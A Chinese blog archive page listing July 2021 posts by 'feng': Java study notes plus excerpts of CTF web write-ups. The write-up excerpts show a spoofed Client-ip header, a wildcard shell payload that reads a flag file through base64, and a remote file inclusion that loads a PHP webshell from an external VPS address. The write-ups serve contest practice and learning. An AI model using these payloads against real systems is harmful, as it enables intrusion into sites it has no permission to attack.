2021年07月_bfengj

原创 Java IO流学习笔记

Java IO流学习笔记前言开始简单的学习一下Java的IO流，整理一下学习的东西，仅供翻阅和复习方便，学习自廖雪峰的Java教程，内容全部摘抄。简介IO是指Input/Output，即输入和输出。以内存为中心：Input指从外部读入数据到内存，例如，把文件从磁盘读取到内存，从网络读取数据到内存等等。Output指把数据从内存输出到外部，例如，把数据从内存写入到文件，把数据从内存输出到网络等等。IO流以byte（字节）为最小单位，因此也称为字节流。在Java中，InputStream代

2021-07-15 15:40:13 301

原创 Pwnhub2021七月赛NewSql（mysql8注入）

Pwnhub2021七月赛NewSql（mysql8注入）前言以前虽然知道mysql8的sql注入，但是没有真正的去了解过，正好昨天晚上知道了pwnhub最近的比赛里出了这道题，就顺便复现，学习一下mysql8的SQL注入新特性。学习文章MYSQL8.0注入新特性通过这篇文章学习一下基础的知识。基础知识补充文章中使用了information_schema.SCHEMA等来得到数据库，然后得到数据表，但实际上有这么个数据表information_schema.TABLESPACES_EXTEN

2021-07-14 13:55:38 1707 1

原创 Java集合学习笔记

Java集合学习笔记前言开始学习Java的集合，简要的记录一下学习到的东西，仅供自己查阅和复习方便。学习自廖雪峰的Java教程。集合简介Java标准库自带的java.util包提供了集合类：Collection，它是除Map外所有其他集合类的根接口。Java的java.util包主要提供了以下三种类型的集合：List：一种有序列表的集合，例如，按索引排列的Student的List；Set：一种保证没有重复元素的集合，例如，所有无重复名称的Student的Set；Map：一种通过键值（key-

2021-07-13 21:17:40 870 1

原创 Java反射学习

Java反射学习前言学习一下Java的反射，学习了先知上面的文章还有P神的《Java安全漫谈》，简单的做一下知识点的整理。反射的概念反射是Java的特征之一，是一种间接操作目标对象的机制，核心是JVM在运行状态的时候才动态加载类，对于任意一个类都能够知道这个类所有的属性和方法，并且对于任意一个对象，都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(C

2021-07-13 11:40:12 546

原创卫生CTF 2021 Web

前言比赛是第二届全国卫生健康行业网络安全技能大赛，赛后借了个账号复现了一下Web题，整体偏简单叭，做到CMS那题的时候环境关了。签到f12，拿到flag。easy_web1f12发现There_is_no_flag_here.php，再f12提示本地访问：Client-ip:127.0.0.1即可得到flag。easy_web2ctfshow上的原题，直接打了：?shell=/???/????64 /????????然后base64解码即可。super_hacker Via 头

2021-07-11 23:52:25 1470 1

原创 CTFShow2021七月赛Web

CTFShow2021七月赛Webwarmup $ext = pathinfo($_GET['file'], PATHINFO_EXTENSION); if($ext==='php'){ include $_GET['file']; }要求文件后缀为php，经过测试可以远程文件包含。VPS上写个php马直接包含即可。?file=http://118.31.168.198:39543/feng.php0=phpinfo();存在disable_functi

2021-07-10 20:04:44 974 5

原创大二下小结与暑假展望

前言一个月没写过博客了，七月二号考完期末但是还剩下一个课设，今天晚上把课设的报告交上去，大二也算是彻底结束了。晚上突然想到大二上学期结束的时候写过一个小结和寒假展望：大二上小结与寒假展望想着保持一波优良传统，也总结一下这学期，写写暑假该干什么。大二下小结这学期开始给自己定的目标就是认真学习代码审计，这学期不考虑别的，当时想着这几个月复现一下tp和laravel的洞，然后开始学习CMS之类的代码审计，努力提高自己的代码审计能力。从目前来说，这个目标是没完成的，自己还是太菜了。看了一下自己这学期写过

2021-07-08 02:06:18 504 5

feng的博客